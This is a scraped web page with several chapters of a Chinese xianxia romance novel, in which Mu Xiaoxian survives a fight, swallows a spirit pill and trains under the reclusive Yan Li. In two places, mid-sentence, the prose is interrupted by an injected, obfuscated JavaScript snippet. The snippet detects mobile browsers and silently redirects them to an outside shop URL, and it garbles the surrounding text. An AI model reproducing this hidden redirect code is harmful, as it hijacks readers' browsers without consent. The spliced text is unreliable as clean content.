慕小闲单薄的身影被弹出数米远,喉头一腥,骨骼咔嚓一声,伴随着疼痛蔓延。脚下落地不稳,膝盖无力支撑,身体半跪了下去。 一句骂声卡在喉咙里,果然实力相差悬殊,帅不过三秒,还不如跑呢。白挨这一下! 她捂着胸,大口喘息,抬眼盯着三丈开外的施未羽,神经紧绷到了极致。 施未羽收回腿,垂下刀,刀面上映出慕小闲单膝跪地的人影,轻描淡写地说:“不过如此。” 看样子,似乎胜负已定。 慕小闲目不转睛,在调息之间勾起唇角。 林间树叶沙沙,白芒乍现,一股强劲的力量像燃烧的火焰冲出体外,犹如闪电在林间疾行,直指施未羽的方向,眨眼就劈到了她跟前。 施未羽瞳孔一缩,腾空而起,闪电跟着她的身影从地面弹起向空中追去。 施未羽掌中的巨刃送出,被一股灰白色的仙气包裹着,在半空中与炸裂的白芒抗衡。林间一道刺眼的光芒冲天乍起,无数鸟雀惊叫远走。 白芒和主人一样嚣张不过三秒就后继无力,愈渐式微,最后化作几点零星微光,小打小闹般砸在幻月刀刃上。 施未羽眉头紧锁,眼中暗暗有些探究之意,握刀一挥,白芒被一股劲气弹回,落在慕小闲脚边,缓慢地跳动了几下熄灭。随之而来的劲气将她掀翻在地,裹挟着小十一的惊呼,慕小闲在草地上翻滚得停不下来,还有越滚越远之势。 “嗖”地一声,一支破云而出的箭将慕小闲的后襟钉在地上。箭羽缭绕着白杏色的箭气,与慕小闲的后颈近在咫尺,挪一厘她今天就交代在这里了。 慕小闲感觉领子被人拉住,向后一看,瞪大了眼睛,双手向前慌乱扒拉几下,才感觉魂魄慢慢归位。 哪里来的破魔之箭?施未羽没把她砍死,反倒是这只箭差点要了她的命。 小十一跑过来拔起箭,抬头望了一圈,又扬起那副乖巧的嘴脸,糯糯地喊了一声:“卿姨。” 慕小闲被腻得打了个哆嗦。 云间飘出一位姿态婀娜、明眸皓齿的御姐,身穿深红色霓裳,额间、耳垂、前胸、手腕配着齐全的纯银额饰、吊坠、压领、手镯,图样复杂,各有不同。她手持一煞气未消的弯弓,轻轻挑了一下弯弯的柳叶眉,柔和地说:“我的十一乖乖,卿姨好久没见着你了,你有没有想我?” 慕小闲爬起来偷瞄,这又是哪位? 施未羽眼里露出不屑,收回刀转身欲走。 这位“卿姨”道:“诶,别走啊,这不是右相吗?怎么和一个孩子过不去?” 就是就是,慕小闲心里都要为她鼓掌了。 施未羽停下轻哼一声,端着架子说:“她身上气息紊乱,不像是青丘的路数。” ——什么?她身上可是晏离传授的正经仙气! “卿姨”没理会施未羽,微微一笑向慕小闲走了几步,身上佩戴的银饰随之摇曳,发出沙沙的声响。她亲和地对慕小闲说:“你好呀,我是卿书,是青丘的 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卿书眼波微动,出来打圆场:“右相一定是年纪大了没看清楚,小妹妹身上的仙力少之又少,从招式上看是有自己的想法,但修为不够,多余的小动作太多,力道也没使出来,像是刚开始学仙术一般。你若说这是白家的仙术,那可折煞了白家的名声。” 施未羽听完眼睛微眯,依旧沉着一张脸,不知道在思索些什么。 卿书余光看了看远处,提醒道:“右相不是还有任务在身吗?怎么停留在这里?” 小十一一听,赶紧道:“施姨您有事就先走吧。” 施未羽看了慕小闲一眼,眼里闪过一丝质疑,但没有继续追究,反而轻飘飘地撇了卿书一眼:“你又为何在这里?” 卿书勾起唇角:“我也有任务啊。”然后对施未羽摆摆手说:“慢走不送。” 施未羽的目光在他们三人身上滑过,在慕小闲身上多停留了两秒,然后大步上前一跃而起,黑色的身影消失在云际。 慕小闲看着施未羽远去的背影松了一口气,转头发现卿书亮晶晶的眼睛一眨不眨地落在自己身上,背后又冒了一层冷汗。 “有事?” 卿书淡笑:“不。” 慕小闲:? 卿书凑近了慕小闲,胸前的银饰泛滥的光泽让她有一瞬间的慌神。卿书红唇微扬,在慕小闲耳边轻声说:“你见过晏离吧?” 林间的喧嚣逐渐消散,恢复了往常的平静,两只鸟儿从空中缠绵掠过。 卿书说完,带着笑意从她耳边离开,目光却一直牢牢地观察着她的神情。 慕小闲眼睫微颤,压着心里的紧张,问:“你说什么?” 卿书别有深意地看了小十一一眼,嗔怪地说:“十一,难道你连我也要瞒着?” 小十一垂着头不敢与卿书对视,后踮着的一只脚在落叶间划拉,几秒过后抬起头,眼里有些急切地说:“卿姨,她真的不是坏人。” 卿书不置可否地抿了抿唇,拉着慕小闲的手,眸光在她脸上逡巡:“我知你不是坏人,不过白家的仙法从不外传,你有什么特别之处吗?” 卿书看着慕小闲眼里不明所以的目光,大抵明白了她并不知道这件事,微微叹了口气:“晏离这孩子一直躲着不见人,他可安好?” 慕小闲懵懂地点点头又摇摇头,也不知道晏离现在的样子究竟算好还是不好。 卿书叹了口气:“罢了,各人有各人的机缘。我送你们回去。” 卿书一挥袖,身上银饰随风而动。平地聚起一团稀薄的云雾,缓缓腾起。 卿书站在云边对慕小闲说:“晏离他执拗又孤僻,你别介意。” 慕小闲赶忙说:“不敢不敢。” 卿书的薄雾云烟是祥云的升级版,更加轻薄剔透,更加稳固,速度也更快。云雾稳重地飘到上空,几个加速,像一只离弦的箭“簌”地飞出,留下了长长的一条尾迹云。 苍茫的天际空留一声拉长的童音:“卿姨,我有想你哦——” 卿书眼里划过一丝笑意,转而恢复了凝重,朝另一方向飞去。 44. 第 44 章 竹隐山顾明思议隐蔽在群山之中,山里有晏离留下的结界,一般人不能识别山中的方向,故会在不知不觉中绕山而行。若非晏离的准许,任何人不得进入。 卿书留下的薄雾云烟停在了山脚下,慕小闲和小十一从云雾上跃下,眼见云雾渐渐稀薄,然后化作一缕青烟飘散在林间。 晏离的竹屋在半山,见天色尚且还早,慕小闲提议道:“不如我们比试比试,看谁能先到竹屋?” 小十一看看蜿蜒上山的小径,轻哼一声:“比就比!赢了你要让我看看你在山洞里找到的宝贝。” “不准用仙力。” 慕小闲与小十一在入山口站定,两人系紧了袖口与裤脚,拽紧了头绳,活动活动身子,待一声鸟雀啼鸣划破青空,拔腿就跑。 虽然慕小闲身高腿长,但小十一也不是吃素的,千年修练让他身姿矫健,步下生风。慕小闲吃了早先不爱运动的亏,爆发力不行,起步晚了一脚,但身形敏捷,在林间穿行游刃有余。 小十一窜上树,轻巧地在树与树之间跳跃,余光从树叶间隙瞥见慕小闲移形的身影,步法极快。 两个身影交错着在山间奔跑,不一会儿就窜上了山腰,绕过迷宫一般的丛林,溪水潺潺断断续续地涌入耳中,眼见竹屋就在不远处,似乎飘过一抹白色。 慕小闲脚步不自觉慢了下来。 小十一趁机从树上一个跟斗,落在了竹屋前,转过身对姗姗来迟的慕小闲说:“你输了。快给我看看!” 慕小闲走近了,视线越过小十一看向竹屋的方向,一袭白衣出现在竹屋门前,淡然地说:“回来了。” 清冷的声音让慕小闲身体一颤,眼神闪烁,好像脑海中浮现了一条一闪而过的银线。 她听过这个声音。 不对,她当然听过这个声音,她与晏离不过才分开几日。 但是......好像是在更久之前...... 慕小闲带着疑惑和茫然望向晏离,似乎想从他的脸上看出些什么,令晏离走来的身影一顿,眼波微动:“你想到什么了?” 慕小闲眨了眨眼睛,摇了摇头:“没什么。我们找到了阿筝留下的东西,你看是这个吗?”慕小闲从胸前取出一方白帕包裹着的珠子,珠子在揭开的瞬间微微亮了一下,转眼又沉寂下去。 那颗珠子仿佛一根细针扎入晏离的眼睛,他瞳孔骤然一缩,眼底翻涌着惊愕与刺痛,恍惚之间垂在身侧的双手无力地握了握拳,似乎用了极大的力气克制什么,继而面上覆上了一层比往日更加冰冷的寒霜。 小十一拉着慕小闲的袖子凑近一看,顿时瞪大了双眼:“这......这不是?” 晏离身上散发着寒气,小十一哆哆嗦嗦地收了声,带着疑虑拧紧了眉头。 “他还留下了别的东西吗?”晏离问。 慕小闲摇摇头:“这颗珠子藏在一个山洞中,我们在找寻时山洞坍塌,除了这颗保存完好的珠子之外,其他的都没发现。” 晏离捕捉到她话中的信息:“山洞坍塌是怎么回事?” 小十一抬头望着晏离,抢着说道:“叔父,我们先前遇到的那座宫殿废墟原来是一个阵法,我们费了九牛二虎之力才解开阵法,找到藏着这颗珠子的山洞。我们在山洞里找东西时,山洞突然坍塌,我们只能立刻往外逃,但是慕小闲没逃出来,一个人被埋在里面了。还好我足智多谋请来了援手,不然别说珠子,连她都回不来了。” 晏离闻言,目光落在慕小闲身上,冷然的目光里仿佛多了一丝复杂。慕小闲自然看不懂晏离的神情,却不知为何突然感到了一丝寒意,心里莫名有些惴惴不安,不过很快又被她自以为是地忽略了。 晏离低声问道:“为什么没有逃出来?” 小十一嘟囔道:“我也不知道,我就要跑出洞口时,突然觉得身后一股力量把我推出去,然后洞口就被埋了。” 晏离脸色又冷了几分。 小十一的动物感官比较灵敏,此时已经觉得气氛相当不对劲了,脚下生风便要跑:“既然我们已经把东西找到了,那慕小闲就可以留下了。我突然感觉好累哦,我这一趟一定消耗了太多元气,我要赶紧回我的狐狸洞睡觉了。” 小十一飞快地瞥了慕小闲一眼,留给她一个自求多福的眼神,然后溜了。 竹屋前只剩下晏离与慕小闲二人的身影,平地卷起一阵寒风,衣袂飘飘青丝扬起。 晏离转身缓缓走向竹屋,背对着她说:“进来。” 慕小闲匆匆跟着晏离进屋,一进门就见晏离已端坐在屋内的木桌旁,敛着眉,唇紧抿成了肃然的线条。 慕小闲怀揣着期待地问:“晏离,我依照约定取回了你要的东西,现在我可以正式拜师了吧?” “跪下。”晏离沉声道。 慕小闲的衣摆微动,但人未挪分毫,反而流露出一丝疑惑。她作为一个飞升的现代人,对下跪这种繁文缛节自是不屑的,她从未跪过任何人,也不可能不明不白地给任何人下跪。 晏离抬起泛着郁意的眼眸,语气中透着一股寒意:“你不是想拜师吗?” 慕小闲眼前一亮:“你答应收我为徒了?好好好,我这就跪......”她那一点点高风亮节在生存问题前简直不值一提,跪一下就能收获一个师父,还是相当划算的。 慕小闲作势双膝就要跪下,不料双膝在下落过程中突然遇到了一股强大的阻力,拜师的机会就在眼前,她怎么能轻易放弃?慕小闲使出了浑身解数,却屈膝僵持在半空。 半晌,她气喘吁吁地站直了身子,问:“晏离,你究竟是想让我跪还是不想让我跪?” 晏离冷眼看她,眼中尽是刻薄的疏离和寒意。这下慕小闲读懂了他眼中的意思,他不想收徒,是故意试探她呢。 慕小闲眼中闪过一丝慌乱,晏离该不是要反悔吧?她为了取得那颗珠子,差点被埋在山洞里,连命都快没了,难道还不够用心?还不够努力?他要是真反悔了,她该怎么办? 良久,晏离冷声问:“山洞是怎么回事?” 慕小闲眼角一跳,不知为何有些心虚。 晏离将慕小闲变换几次的眼神收入眼中:“不说?” 慕小闲刚往前挪了一小步,被晏离冰冷的眼神制止,又缩回了原地,将自己这一次寻宝活动前前后后的事情尽数抖出。 说完,晏离陷入了沉默。 慕小闲偷瞄了晏离一眼,他直直的盯着自己,手上攥紧了衣角,嘴唇抿成一条线,眼里风云莫测。 “你都不知道要找的是什么,就连命都不要了。”晏离脸色沉下来,声音冷到了极点。 不等慕小闲反应,他又冷沉道:“你可知......” 慕小闲等着他的下文,但他却将手攥得更紧,看着她又眼中却翻涌着复杂的神色,咬咬牙道:“你说你是为了生存所以要学仙术,但你这次如此不惜命,又何必拜师?” 慕小闲听明白了,晏离原先答应教她,是因为她的求生意志。神仙拥有无穷无尽的生命,他们对生命的消磨习以为常,但慕小闲作为一个凡人,深知生命的可贵,对生命的强烈渴望打动了他。 而这次之所以一反常态,许是她为了取一颗珠子差点被埋在山洞里,与她之前的言行不一致。 慕小闲心中的困惑和不满略有消解,向前蹭了几步,给双方一个台阶下:“晏离,我知道错了,我以后遇到危险一定先保护好自己。我是拜师心切,想要快点将东西取出来,没有想到后果。我平时可惜命了,我做的一切都是为了能好好活下去,被埋进洞里是个意外,我不是有意留在洞里的。”此刻谁有理不重要,重要的是不能大腿还没抱上就被踹了。 慕小闲偷偷瞟了晏离一眼,见他未发一言,又恳求道:“我错了,不然你罚我吧。我一定好好练功,我明天三更就起来练功,绝无怨言。” 晏离嘴角紧抿,拧了眉看她,看的她心里没底,眼珠一转道:“我真的知错了,生命诚可贵,我以后一定小心行事。我......我不吃鸡了,呜,你别不要我了吧......” 刚才倒没见多真心,一说到不吃鸡,她顿时眼泛水光,连声音都哽咽起来。 连鸡都不吃了,委实够有诚意。 良久,晏离眼里的风云逐渐平息,眼睛依旧盯着她,眼睫微动,沉声问:“怎么罚都可以?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137708|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>慕小闲下意识点点头,又一个激灵摇摇头:这句好像不对吧?不是,还有别的选项吗? 晏离起身走至她身前,一阵清香扑鼻而来,就在慕小闲未有反应时,动作极快地掐住她的下巴,手指一弹,什么冰冰凉凉的东西飞快穿过咽喉。分秒之间,一路滑进了腹中。 她那个透心凉啊,这该不会是电视剧里那种毒药吧?就是那种一个月不吃解药,就会七窍流血爆体而亡的毒药。 晏离该不会经此一事突然发现她还挺好使唤的,所以决定长期聘用?她这哪是认了个师父,她别是给自己找了个主子。 晏离背手飘走,留下慕小闲倒地欲哭无泪:“晏离,我对你衷心耿耿,你真的真的不用,给我下毒啊。” 事后,慕小闲干呕了半天也没能吐出个所以然,反倒是有些胃肠紊乱,打了半天的嗝。 。 山里夜色深沉,浓厚的云雾掩盖了天边的月色。 慕小闲半夜睡的极不安稳,她头痛欲裂,像是有人拿着小锤子在她头上打地鼠,还总是打不到。 在反复的敲打与撕扯之下,慕小闲陷入了昏迷,脑海中仿佛有个熟悉的声音,一会儿焦急地唤着“回来”,一会儿冷酷无情地说着“你走吧”。 迷糊之间她曾微微睁开双眼,缝隙间充斥着一片暗淡的昏黄色。她胸口一阵起伏,体内像是有一股气莽撞地向外冲去,她没有意识地侧身吐了。 一个模糊的人影将她擦拭干净安置好,随后一股暖流覆上她的身体,体内冲撞的气息渐渐平静。但慕小闲人事不知,头一歪又沉沉地晕了过去。 折腾了半夜,几近天亮时,慕小闲被拽入了梦境。 梦里是一团浓厚的迷雾,她漫无目的地在迷雾中摸索了许久,始终没有找到边界。恍惚间身前出现了一个灰暗的人影,孤影幢幢、黯淡无光,然后迅速向后退去,消失在浓雾之中。 慕小闲向他追去,但身侧又出现了另一个灰影,向远处遥遥退去。她仿佛被很多人影包围着,又好像周围一个人也没有。 重重谜团包裹着她,她面前似乎出现了许多条路,又好像每一条都通向了迷雾深渊。 “谁?”慕小闲在缭绕的云雾之间出声询问,耳边只有呼呼风声。 一个高大的虚影向她靠近,慕小闲向后退了几步,看到他缓缓伸出手。她深呼吸一口,将手轻轻搭在他的手上...... 脚边升起一阵旋风,将他们包裹在内,须臾,周遭的风渐渐平息。 一串儿小童的嬉笑从她身旁一晃而过,一个娇俏的声音嚷嚷:“先生我回来啦!你有没有想我呀?” 另一边,温柔声音似流水淌过:“在笑什么?” 小童天真地答道:“琅儿说,宫里的仙客来开花了,我一看哪是什么仙客来啊,分明是一团虎耳草。无恙说他一百岁才开口说话,两百岁才能认人,我怎么会有这种傻弟弟啊哈哈哈哈。” “不要这么说琅殿下,他是您的亲人。”温柔的声音里没有责怪之意。 “知道了。您和师父一样就知道教育人。” “他可好?” 小童顿了一下,有些怅然地说道:“他好的不得了,就是不知道什么时候才能对我好一点。” 浓烟中一袭缥缈的青衣缓缓转过身,犹如镜花水月的身影顷刻被搅乱,声音像一簇被掐灭的火焰戛然而止,空留一片苍白与凝重。 天边由远及近传来小童清脆的呼唤:“先生——” 小童断断续续的脚步散落在四周,像是在探寻着什么,发出了疑惑的声音。 “先生?” “先生......” “先生你怎么不说话了?” 脚步声似是越来越急促,呼唤的声音带着急躁与哭腔,越来越强大、浑厚,像是重重的擂鼓一下一下敲击着耳膜。 “先生你在哪儿——” “先生......” “......” 声音猝然化作猛兽一般撕心裂肺的咆哮,震耳欲聋,让人心脏猛地收缩:“先生——” 心口仿佛有一股浓烈而绝望的情感宣泄而出,慕小闲猛然睁开眼睛。 45. 第 45 章 慕小闲用力睁着眼,气喘吁吁地看着房梁,心里那种剧烈收缩的痛楚逐渐消散,脑袋有些昏昏沉沉的,身上也提不起劲。 身侧衣摆微动,慕小闲的眼珠滑向旁边,就见晏离合衣正经危坐在墙边,黑发如瀑垂在身后,听见她的动静,微微侧过头望向她,眼中似乎划过刹那波动,很快归于平静。 慕小闲的头微倾,眯了眯眼,一阵眩晕袭来,又倒了回去。 晏离怎么在这里? 她抬了抬手,胳膊如同灌了铅一样沉重。她皱起眉,手上用力,在身上的经脉探了一圈。奇怪,她怎么感觉不到自己的仙力了? “我这是怎么了?”一出声才发现喉头干得快冒烟,声音也沙哑得不行。 “嘶”不对吧,她不就是睡了个觉吗,怎么好像和人打了一架,还是被打的。 晏离道:“别动。你吞了阿筝的灵丹,需要几日静养。” 哦,原来是吞了灵丹啊...... 啥? 慕小闲费力撑起脖子,睁大眼睛看着面色如常的晏离,脑子空白了几秒:她吞的是啥? “你再说一遍?”慕小闲内心仿佛有一个小人扑上去拽着晏离的衣襟对着他大吼你再说一遍?你再说一遍试试!我辛辛苦苦给你挖出来的珠子你喂我吃了? 然,晏离淡然的眼神扫过慕小闲,好似吞个珠子是寻常事。慕小闲又窝囊地把话咽了下去。 吃就吃呗,你看我做什么...... “阿筝的灵丹已经与你的身体融合,这几日需要好生修养。” 慕小闲咬着被子点点头,泪水哗哗地往心里流。被子底下传来一串儿“咕咕咕咕”的声音,此刻在安静的房内显得尤为明显。 “我肚子饿了。”慕小闲松开被子,幽怨地望着晏离,咽了咽喉咙说:“我要吃鸡茸粥。”自从修炼仙力后,她进食的频率有所下降,但去武祁山寻阿筝的内丹这几日什么也没吃,能撑到现在才饿已经很了不起了。 晏离突然起身,一身白色挤满了慕小闲的视线,她向后缩回去:“我就是说说,我不吃鸡了,不吃了。” 晏离淡淡地看着她,转而身形不稳缓缓向房门挪去。 慕小闲看着他沉重的背影纳闷,难道晏离昨晚一直守在她旁边?心里陡然升起一种奇奇怪怪的感觉,在晏离的衣摆快要消失在门边时,慕小闲不由自主地出声道:“晏离。” 白衣微顿,没有发出声响。 慕小闲犹犹豫豫地开口问道:“这是惩罚吗?” 晏离良久没有回应,就在慕小闲以为他快石化时,突然听到他轻描淡写地说:“不。” 不是惩罚?这还不是惩罚? 。 半日过后,斜阳透过窗棂洒进屋内,而后飘进一股淡淡的米香。慕小闲嗅了嗅,发觉气味里有一丝让她大脑兴奋的物质,有点受宠若惊。 晏离端着碗蹒跚地走进来,步履艰难,走一步停一下,唯恐手上的东西泼洒出来。 慕小闲还在怄气,目光落在别处,不想望着他露出垂涎之色,余光瞄到晏离的身影好像绊了一下,身体向前倾倒......慕小闲心里一惊,扭头看去,见晏离站稳才舒了一口气,又赶紧把头转回去。 晏离知道慕小闲在看他,心里一声叹息,没有声响地在床边坐下,将她扶起来。他苍白的手端着一个瓷碗,里头盛着热腾腾的粥,米白色的粥里夹杂着几根细碎的鸡丝,香气扑鼻。 晏离舀了半勺粥,薄唇微启,想要吹一吹,但不知想到什么,又将汤匙放了下来。 一抬头,慕小闲被热气熏得发红的眼睛幽幽盯着他,他心里一颤,身体不着痕迹地向后挪开。 慕小闲心里郁结,不是要惩罚她吗?这又是做什么? 打了一巴掌又给一颗甜枣?他以为她这么好打发吗? 晏离垂眸与慕小闲的眼神错开,将汤匙送到她的嘴边。 慕小闲死死盯着他,带着怨气一口将滚烫的热粥囫囵吞下。 灼烧感瞬间从舌尖一路滑进胃里,把她烫的睁大了眼睛大口哈气,还没吃出味道,像个闹别扭了拿自己出气的傻孩子。 晏离执汤匙的手停在半空,沉声道:“你这是做什么?” 慕小闲喘了几口气,稍稍缓和过来,先前自己吃力不讨好,现在又丢了脸而引发的怒气一股脑冲上头顶,语气生硬地反问道:“你又在做什么?” 晏离放下汤匙,敛眉与慕小闲对视,眼中不见丝毫波澜。与其说对视,不如说在对峙,从两人刚才的发问就能看出,他们都没明白对方的意思。 对视几秒,晏离先挪开了眼睛,避重就轻地说:“这是你要的粥。” --这是你要的粥。 --你还想怎样? 听上去就像是慕小闲无理取闹。 粥当然是好粥,但是关粥什么事? 慕小闲咬了下嘴唇,不满地问:“不关粥的事!为什么让我找来阿筝的灵丹,又让我吞下?”见晏离不语,她的语气又急促了三分,想挣扎着起来,无奈身上没有力气,折腾了几下也没起来,拍着床沿说:“这不是惩罚是什么?我都卧床不起了啊!” 晏离微微叹了口气,抬眸看着她,眼光流转,浮现一丝无奈:“神仙皆有一颗储存仙力的灵丹,没有灵丹凡体肉胎很难驾驭仙术。凡人修炼一颗灵丹少则数百年,多则上千年。如今你白捡了一颗灵丹,不过安静修养几日就觉得是惩罚?” 慕小闲听得恍惚,但突然明白过来,对啊,她的凡体肉胎想要从零开始修仙实在太难了,有了灵丹她就可以进步得更快了。这么说,这颗灵丹不是对她偷学功法的惩罚...... 而是对她通过了这次试炼的奖励! 不,这份大礼不仅仅是奖励,更是晏离对她的认可!想到晏离还给她煮了粥,慕小闲眼睛发涩,心里突然觉得一日为师终身为父,她若是有个亲爹大抵也就是如此了。这么一想,居然鼻头有些酸。 “对不起,是我曲解了你的意思。可是灵丹不是你要找的东西吗?为什么送给我?” 晏离淡然道:“我只想知道他留下的是何物。灵丹于我无用,你恰好需要,便赠予你又何妨。” 原来如此。原来是她捡了个大便宜。 慕小闲心中的愁云总算消散,目光落回在碗里,疯狂暗示:粥凉了,可以吃了。 晏离仍是无奈,举起汤匙喂她。肉香与米香在口腔交汇,暖意涌上身体,她的脸色也红润起来。 慕小闲低头就着汤匙喝粥,偷偷瞄了一眼近在咫尺的晏离。他的脸颊清瘦,下颚到颈肩的线条干净利落。肤如凝脂,眼睫如扇,不经意间那种冷若冰霜的气息好像收敛了起来。他们的距离不远不近,她低头就能闻到那股他独有的清香,也能感觉到他轻柔的呼吸。 半晌,慕小闲把头挪开,舔舔嘴唇问:“那阿筝呢?我吞了他的灵丹他怎么办?” 晏离的举着汤匙的手一顿,轻描淡写地说:“他自有办法。” 慕小闲低头又蹭了一口:“晏离,我听武祁山的鹿说,阿筝是个很善良温和的人。 晏离点点头:“他对每一个人都很温柔。” “是了,他在山里帮助过许多小动物,应该是个很有爱心的人吧。不过藏灵丹的法术倒是挺粗暴的,和他给人的感觉不太一样,不知道是怎么回事。” 晏离的手慢慢地在碗里搅动,热气氤氲,他垂着眼像在回忆什么,神情渐渐凝重,片刻后,舀起一勺起来喂到慕小闲嘴边。 慕小闲小心翼翼地问:“阿筝他还好吗?他去哪里了?” “我们很久没有联系了。”晏离眼里平淡无波,像是在谈论陌生人一样。 一桩事了,慕小闲终于获得了称呼晏离为师的资格。她一口吞下送来的粥,心想晏离好像没有亲近的人呢。 三日过后,慕小闲的四肢勉强能抬起来,但却依旧沉重乏力。终日无所事事无聊至极,她连屋顶的竹架需有几根几节,竹棚如何捆扎都摸了个透彻。因为她的行动不便,山里野鸡这几日的叫声都嚣张了许多。 她只静养了几日就觉得烦闷,如若在山里生活了上千年,岂不是寂寞疯了?难以想象晏离腿脚不便如何一个人在山间生活。不愧是神仙,只有神仙才能耐得住这般寂寞。 一想到晏离的腿,慕小闲锁起眉头,他好像从来没有提过是如何受伤的。 晏离的白衣在门口一晃而过,慕小闲装模作样地哼哼唧唧。白衣在门边停住,但没有进来。 慕小闲嚷嚷:“啊!我的手麻了!我好不容易练了一点仙力,现在在床上躺得太久,会不会血脉不畅前功尽弃啊?” 等了一会儿,白衣还是飘了进来,面无表情,眼里微微掀起的一丝波澜被慕小闲敏锐地捕捉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137709|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她觉得那眼神是在问,你想干什么? 慕小闲故作可怜地眨眨眼睛:“这么躺下去我的身体会退化的,我想出去晒晒太阳。” 晏离垂眸眼神略过慕小闲的腿,似乎在分辨她说的有几分可能。 慕小闲抓紧机会说:“师父,让我出去待会儿吧。” 晒太阳倒不是强人所难之事,晏离身形微动,抬起手轻轻一挥,慕小闲的身体从床上飘起,飘出了房门,靠在院子的靠椅上。 山间清凉的气息灌入她的脑内,洗去了几日的不安与烦躁。略带温度的日光洒在她的身上,像镀上了一层细碎的鎏金。院里的树梢长了新叶,鸟儿从枝头略过,留下三声啼鸣。 待在院子里晒太阳当真是安逸闲适,好像时间都变慢了。慕小闲微眯着眼,感受暖意从脚下渐渐蔓延到脸颊。 晏离抱着手臂靠在树下阖着眼,安静的侧脸光洁无瑕,干净的衣袖与青丝随着清风微扬。 一切是那么美好,那么自然。 院子外的草丛里有东西一动,慕小闲看了过去。 那是什么? 嘤。可爱。 两只洁白如云团的小兔子,瞪着红眼睛竖着耳朵,凑在一起耸了耸三瓣嘴,好像在嘀咕什么。 “......” “......” 只可意会不可言传。 晏离睁开清冷的双眼,若有似无地看了它们一眼,两只兔子猛地像被定住了一般,直冒冷汗。 无形的威压消散,两只兔子打了个寒颤,赶紧跳走了。 见晏离睁开了眼睛,慕小闲方知他只是在小憩。现在两人都醒着却相顾无言,多少有些尴尬。 越是不说话,越会感觉尴尬。 慕小闲转了转头,装作可怜地问:“能不能帮我捏捏肩,这几天一直没动脖子都僵了。” 胆大妄为。 得寸进尺。 晏离身体未动,抬眸看她,难得一见地轻抬了下眉:“你让我给你捏肩?” 慕小闲赶忙摇摇头:“不不不......我是想舒活血脉,没准儿能快点恢复呢。” 晏离放下手走到她身后,纤细的手指轻轻搭在她的肩上,像是冰块释放着寒气。他陡然用力在她肩头一捏,慕小闲惊叫出声,转而那双手一下一下不轻不重地揉捏着。 晏离刚才......是故意的吗? 适才慕小闲想的挺美,晏离一动手她又有些心悸,不安的感觉更甚,紧张得手不知该放在哪里,眼睛也慌神地左顾右盼。 肩上的力道柔韧有余,慕小闲的心跳也随着一下又一下的揉捏,重重敲击着胸口。她轻轻吸了一口气,没话找话道:“师父,你为什么一个人住在山里?” 身后久久没有回音。 慕小闲眼珠一转,接着说:“我知道是因为腿脚不便,但是怎么连长乐宫的人也不见呢?” 捏到一半的手突然停下,森冷的声音从头顶传来:“你听到了什么?” 慕小闲心里一沉,赶紧解释道:“不,只是我发现除了小十一,白家的人好像都不知道你在哪里。”肩上的手复又揉捏起来,只是力道不那么均匀,仿佛有些心不在焉。 慕小闲见他似乎不愿意说,也没有追问,语气轻快地说:“不知道就不知道,一个人逍遥快活,过得舒服就好。” 晏离没有回应,慕小闲自顾自问道:“我还不知道你喜欢什么呢。” 身后传来:“为什么这么问?” “你若是有什么喜欢的东西,我会想办法给你弄来。” 周遭气息一乱。 慕小闲解释道:“我就是想报答您的教导之恩。” “嗯。” 嗯是什么意思?看他这态度怕是不会轻易说出来的,慕小闲心里有数,为了防止冷场快速添上一句:“您可以先想想,若是想好了再跟我说。什么都可以,只要我能弄来。” 良久,就在慕小闲以为晏离觉得她多事不想理她时,头顶飘来轻轻的一声。 “嗯。”声音虽轻,但语气却很坚定呐。 慕小闲霎时弯了眼角,心里好像有一点小雀跃。 一丝细微的暖流忽的涌向腹部,慕小闲不由地身上一僵。晏离感觉到她的不对劲,停下问:“怎么了?” 慕小闲憋红了脸说:“我好像能感觉到一点儿仙力了。” 46. 第 46 章 晨光熹微,慕小闲在院外练完晨功,神清气爽地走进院子。 豆大的露水从树梢的新叶上落下,眼看正要砸在慕小闲的头上,然她脚尖轻点,身形一晃向旁抽去。一秒过后,寒凉的露水浸透在湿润的泥土中。 晏离静静坐在院中的木桌旁,那双如烟如雾的灰眸朝她看来,似乎将刚才发生的一切尽收眼底。 慕小闲冲他挥了挥手:“早啊。” 慕小闲取回了晏离要的东西,诚心诚意地想要拜师,但却又遭到了晏离的拒绝。晏离说他可以继续教她修炼,不需她跪拜,也免了繁文缛节。 与灵丹融合之后,她体内的仙力爆增,唯恐身体承受不住。晏离不再有所顾忌,对她严格了许多,她接连数日勤加修炼,仙术升上了另一个台阶。 刚开始修炼时,晏离给她喂招,她反手一掌爆发出猛烈的青白色仙力,继而整个人都愣在原地。她的仙力不是白的吗?怎么突然变色了? 原来受那颗灵丹影响,她的仙力本质发生了巨大的变化。现在她体内有两种仙力,一种是灵丹里储存的,虽然强大但无法提升;另一种是她自身修炼产生的,虽然暂时势弱,但以后一定会越攒越多、越来越强。 从在晏离手下一招都撑不下来,到如今已经能接上两招,虽然晏离很可能对她放水了,但她能感受到每日自己潜移默化的改变。 几日前她去小溪边梳洗,原本蓬头垢面,一番打理之后往水中一看,吓得跌坐在地上。 她深吸几口气,战战兢兢地探出头,仔细一看:瓜子脸线条流畅,下颚线分明,肤白通透,英气的眉型微敛着,灵动的杏仁眼里露出疑惑的神情,鼻子又挺又翘,还有一双红润的小嘴。 在青丘待久了,她的眉眼渐渐生长出一种野性的美感,丝毫不必先前在天庭见过的仙女差,甚至别有一番风格。 